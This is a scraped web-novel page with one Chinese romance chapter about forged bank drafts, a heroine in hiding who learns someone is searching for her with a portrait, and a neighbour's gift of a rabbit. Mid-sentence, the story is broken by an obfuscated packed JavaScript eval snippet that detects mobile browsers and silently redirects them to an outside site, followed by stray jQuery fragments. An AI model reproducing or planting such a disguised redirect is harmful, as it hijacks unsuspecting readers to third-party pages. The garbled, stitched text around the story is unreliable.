默认冷灰
24号文字
方正启体

64. 寻人

作者:抹茶非茶本书字数:K更新时间:
    这日晌午,一位留着八字胡的男子来到汇通票号柜前,持一张两千两的汇票兑取。


    伙计接过验看,纸质密押皆无误,可翻遍票根册,寻不到对应的存根。


    伙计赔笑道:“客官稍坐,小的再对对账簿。”


    这一对,冷汗浸透脊背,账簿上朱笔清晰注录着,此票已于一个月前在外县分号兑付


    “这……这票一月前就已兑过了!”伙计道。


    八字胡闻言,眉头一竖,声音陡然拔高:“胡说!汇票一直在我家中保管,何曾兑过?”


    伙计无法,指着兑付记录给他看,白纸黑字,签名押印俱全。


    八字胡不承认去过那处,更未签过此字,嚷着要见掌柜理论。


    梁守正在后面听说,掀帘出来,视线在八字胡脸上一定,拱手笑道:“是邱掌柜啊。”


    邱掌柜是多年老主顾,梁守正对他存汇银两一事略有印象,拿起那张汇票,指尖在密押暗记处捻了捻,神色不动,笑道:“确是本号的票,新来的伙计办事不熟,许是对混了账。”


    他不提存根之事,转头吩咐伙计:“照票给邱掌柜兑银子,莫要耽误邱掌柜正事。”


    伙计愕然却不敢多言,乖乖照做。


    邱掌柜得了银子面色稍霁,寒暄几句离开。


    伙计憋到人离开,急道:“掌柜的,这票明明已兑过,您为何还要再兑给他?”


    梁守正捻着汇票,又对光看了又看,面色愈发凝重:“汇票货真价实,邱掌柜又是老主顾,家境殷实,做生意极重视信誉,应不会行此龌龊事。”


    最主要的原因梁守正未说,这张汇票是真,先前兑付的便是假的,票号出现假汇票之事传扬出去,存汇的人心生恐慌,蜂拥来票号兑付,后果不堪设想。


    当即命人去分号取邱掌柜的假票,并让各分号尽快将近期所有兑付过的汇票存根重新核查一遍,看有无其他假票兑付的。


    接下来两日,坏消息接踵而至,三处外县分号接连报来相似假票,假汇票密押手法与真票几无二致,金额累计逾万两。


    梁守正第一反应想到季灵儿,存心跟汇通票号过不去,又有能力找人仿制的,唯有她!


    梁守正气得咬牙,查探假汇票来源的小厮又回来报,言假票出自黑市,贩子经验老道,又隔了一段时间,实难查出踪迹。


    账房先生也捧着最新清查结果过来,见这情形不知当说不当说:“掌柜的,确认被假票兑走的现银算出来了......”


    “多少?”梁守正只觉得有把铁锹在他心上挖。


    “合计两万七千八百两。”


    这些兑付出去的银子,等同于肉包子打狗,真汇票的正主随时可能持票上门兑付。


    梁守正目光凶狠地能杀人,两万七千八百两!全是他的心头肉!


    不,还不止这些。


    从假到真中间这段时日的利钱,也得他自掏腰包。


    ...


    隆昌票号的人一直盯着汇通的举动,季全得了消息,寻到季灵儿家中告知。


    季灵儿告诉他地址时说过为保万一非必要不轻易来往,但季全实在放心不下,“他会不会怀疑到你头上?”


    “他头一个就要怀疑我。”


    季灵儿一副无所谓,季全更急了:“那畜生视财如命,吃下这般大亏,定然要报复的,咱们是否得早做打算,防着他反扑?”


    季灵儿:“他猜到是我应当会往秦家票号上下功夫,您那边一切照旧,多存个心思防备就是,不用过于忧心。”


    汇通票号的事说定,季全提起此行另一目的:“你可是得罪了什么人?”


    季灵儿疑惑:“您何出此问?”


    “我并非打探你私事,是一位老伙计提起来,说在街上见有人拿着你的画像打听。”


    “什么样的人?”


    “据伙计形容像是富庶人家的小厮,不算凶神恶煞,行事也低调,但执着的紧,我怕上前打听再被人盯上给你惹麻烦,没敢多问。”


    季灵儿蹙起眉尖思索,她得罪过的无非梁家和宋家,梁家暂无可能,宋家寻她当去吉安。


    想了几种可能,心里约莫有数,嘴角勾起一抹浅笑,道:“应当不是仇家,且让他们寻罢。”


    季全离开不久,又传来叩门声。


    陈胜松身板板正站在门前,手里拎着只通身雪白的兔子,因兔子耳朵被攥,垂成毛茸茸一长条,后腿拼命蹬动,红眼睛一眨不眨地望着季灵儿。


    他来十次,七八次是受母命送东西,吃的喝的用的皆有,其余两三次是奉母命来看她是否有需要帮忙之处。


    季灵儿照常例理解,问:“这是......要晚上烧兔肉吃?”


    陈胜松摇头,抬手把兔子往前一送,说:“给你养着玩。”


    季灵儿伸出双手接过,兔子解脱地垂下耳朵,蜷进她臂弯。


    感受到分量,季灵儿不由感慨:“还挺重,肉肯定香。”


    兔子:......


    陈胜松认真道:“我可以帮你宰它。”


    季灵儿噗嗤笑出声来,“我开玩笑的,兔子很可爱,多谢你。”


    陈胜松见她笑,目光赧然偏开,挠了挠头道:“是我娘买来让我给你的。”


    季灵儿笑得眼睛弯成月牙,“那你替我谢谢张婶。”


    这些日子接触,她多少猜出张婶的心思。


    陈胜松相貌尚可,只性子太憨直,说话更是直来直去,不懂婉转,二十多岁没讨到媳妇,张婶生了牵线搭桥的心思,打着送东西帮忙的幌子,让儿子与她多来往。


    她为方便行事,一早说明夫君在外地做工,平素亦是妇人装束,但张婶可是邻里有名的包打听,套话功夫堪比刑狱官,东家长西家短,甭管私密不私密,没她不知的,明里暗里探问多次“她夫君”情况。


    编造之辞经不起再三盘问,问多了疏漏便多,她对张婶起疑心并不意外。


    实际上,张婶几乎笃定季灵儿跟过男人,且男人家世背景不凡,她要么遭负心汉抛弃,要么因身份地位悬殊,不被男方家所容被迫分开。


    结合近日有人打听之事,张婶更认定是后者。


    水灵灵的好姑娘,过了这个村就没这个店了,张婶心里急,催着儿子频频走动。


    张婶对儿子直言不讳,如何说如何做字句不差地教,唯一没料到的是儿子在按她教的话说时,用了“我娘”打头。


    “我娘说你一个人住着冷清,送只兔子陪你,月上仙子有兔子陪,你,你也有。”陈胜松说到后面不好意思起来,双手无措地从后脑勺挠到后颈。


    他一字一句都说的认真,季灵儿以同


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611175|184104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样认真回应他:“兔子很可爱,我很喜欢。”


    陈胜松憨笑两声,从袖中抽出一张折叠的纸递给她:“我在街上看到这个。”


    纸页展开,是幅画像,画师功夫了得,将画中人模样气韵勾绘地惟妙惟肖,季灵儿一眼认出是自己。


    “你怎么得到的?”


    “我跟那人说见过你,不过几天前就离开曹县了,他就把这画给了我,还说如果能再见到你,就转交给你。”


    “......”


    明显的放长线钓大鱼,季灵儿一时不知该夸找她的人机灵,还是陈胜松太老实。


    视线挪回画上,几乎与对镜自照无异,五官轮廓描摹细致,连左眼下眼睑尾部偏里一点的细痣都未遗漏。


    能留意如此细微,出自谁手不言而喻。


    那人就爱吻她眼睛。


    ...


    消息传回秦府已是入夜。


    阿吉传话时声音激动地直打颤,“爷,要去请少夫人回来吗?”


    秦劭按捺心绪冷静忖了会儿,摇头道:“先不惊动她。”


    阿吉:“那要派人盯着吗?”


    “不必。”


    派出去的人悄悄跟着陈胜松到她住所后,着意打听过,知道是她花钱买下的宅子,既是买下,短期不会轻易离开,且她记挂拿回票号,更不会离开曹县,盯紧反而惹她警觉。


    小姑娘生气才是最难办的,他得想好哄人的法子再去。


    阿吉眼见自家爷这些日子为寻人着急,以为他近乡情怯,拉不下脸去请少夫人,决定尽责推一把,“爷,还有一事。”


    “说。”


    “今日拿走少夫人画像的,是为年轻男子。”


    秦劭神思戛然,眼风凌厉扫过来,“去她家中了?”


    “是。”骇意蹿升脊背,阿吉剩下那句“他还送了少夫人兔子”卡在舌头尖,囫囵咽下,改口道:“是少夫人的邻居,送了画便出来了,没有多待。”


    “邻居......”秦劭语气噙满寒意,沉声吩咐:“派人盯着。”


    “是。”阿吉垂首应下,不敢多问是盯少夫人还是盯邻居,都盯总是没错的。


    ...


    翌日季灵儿早早醒来,顺手穿上前日脱下的衣裳,快走到房门口又折回衣柜,在屈指可数的衣物里挑出一件更显气色的芽黄轻绡长裙换上,对着不算清晰的铜镜转两个圈,看裙摆荡开迎春花般的涟猗,满意抿出一笑。


    她从秦府出来没带多少首饰衣裳,唯有出门那日头上簪的宝石碧玺点翠花簪,比了比,不太衬身上裙衫,改换一支素银梨花簪,素是素些,倒是凸显粉嫩脸蛋,还有那双清凉眸子。


    对镜看着看着,目光停留在眼睑细痣上,不凑近根本察觉不了。


    收拾妥当将院门大敞,才端了麸子和水给小鸡仔喂食,陈胜松送来的兔子也睡醒了,在另一个砖头垒的窝里啃昨天没吃完的菜叶。


    张婶正要出门,见她院门开着,探头打招呼,“今儿个倒是早,要一道去市集吗?”


    “我不去了,家里不缺什么。”季灵儿笑着摇头,想了下,又道:“您帮我买块排骨回来吧。”


    待她从屋里取银钱出来,张婶打量一番她今日格外亮眼的衣着,好奇道:“家里要来客人?”


    “没有,是我嘴馋了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)